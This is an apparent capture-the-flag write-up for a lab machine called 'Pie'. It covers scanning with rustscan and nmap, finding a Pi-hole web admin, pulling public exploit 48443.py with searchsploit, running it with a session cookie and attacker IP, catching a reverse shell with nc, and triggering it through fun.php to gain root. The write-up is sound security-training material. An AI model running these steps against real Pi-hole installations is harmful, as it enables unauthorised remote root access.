> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/cyberseclab/pie.md).

# Pie

## nmap

I prefer to use `rustscan` with additional `nmap` flags as it's faster, but you can use plain `nmap`

```
mkdir nmap
sudo rustscan -a 172.31.1.26 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan
```

We can see port 80 is open, let's quickly check if it's a web server.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MirrfCfEahdf5gSVw99%2F-Mirsb3kHNLE9QfLVQcJ%2Fimage.png?alt=media&amp;token=efd93791-0f6d-4cbd-8cd0-8b4ce3669eba" alt=""></div>

## Pi hole

Looks like it's really a web server, and it is running **Pi hole**

![](https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MirrfCfEahdf5gSVw99%2F-MirtKcim-eGfNAnDMIa%2Fimage.png?alt=media\&token=2e45f368-0042-40e2-989d-3b1ff49ca3c9)

Navigate to /admin, and you will see the version of Pi hole in the footer

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MirrfCfEahdf5gSVw99%2F-Mirtx8tUgv1VjgvPSdc%2Fimage.png?alt=media&amp;token=0461842e-4251-4cbd-9082-629f562edfa4" alt=""></div>

## Exploitation

Search this Pi-hole version on `searchsploit`

```
searchsploit pi hole
```

Let's try to use the 6th result since it sounds more interesting than others.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MirrfCfEahdf5gSVw99%2F-MiruUeAyS5Qfmt7Sud2%2Fimage.png?alt=media&amp;token=1eaca16a-d055-48b3-8fae-4a69fe28d01e" alt=""></div>

First, let's mirror the exploit to our current working directory

```
searchsploit -m linux/webapps/48443.py
```

As per the author we need the following to execute the exploit.

![](https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MirrfCfEahdf5gSVw99%2F-Mirvc6HwNJnvovGRjGx%2Fimage.png?alt=media\&token=d45f3b14-dea4-4e48-af60-4a548267a1c7)

Let's run the exploit

```
python 48443.py 9nm7ajvv8ncaqidomb5arjchov http://172.31.1.26/ 10.10.0.41 80
```

Right after the script was finished, set a reverse shell listener

```
nc -lnvnp 80
```

To trigger the shell, you have to navigate to `/admin/scripts/pi-hole/php/fun.php`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MirrfCfEahdf5gSVw99%2F-Mirwyy8h3RzHe_CF7Kx%2Fimage.png?alt=media&amp;token=65b50c10-a7e2-497c-8b22-52118167da7e" alt=""></div>

Then you should receive your root shell. :D

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MirrfCfEahdf5gSVw99%2F-MirxWk_io4WreezMUWK%2Fimage.png?alt=media&amp;token=e6e293b3-a812-427e-bc21-7971199f614c" alt=""></div>
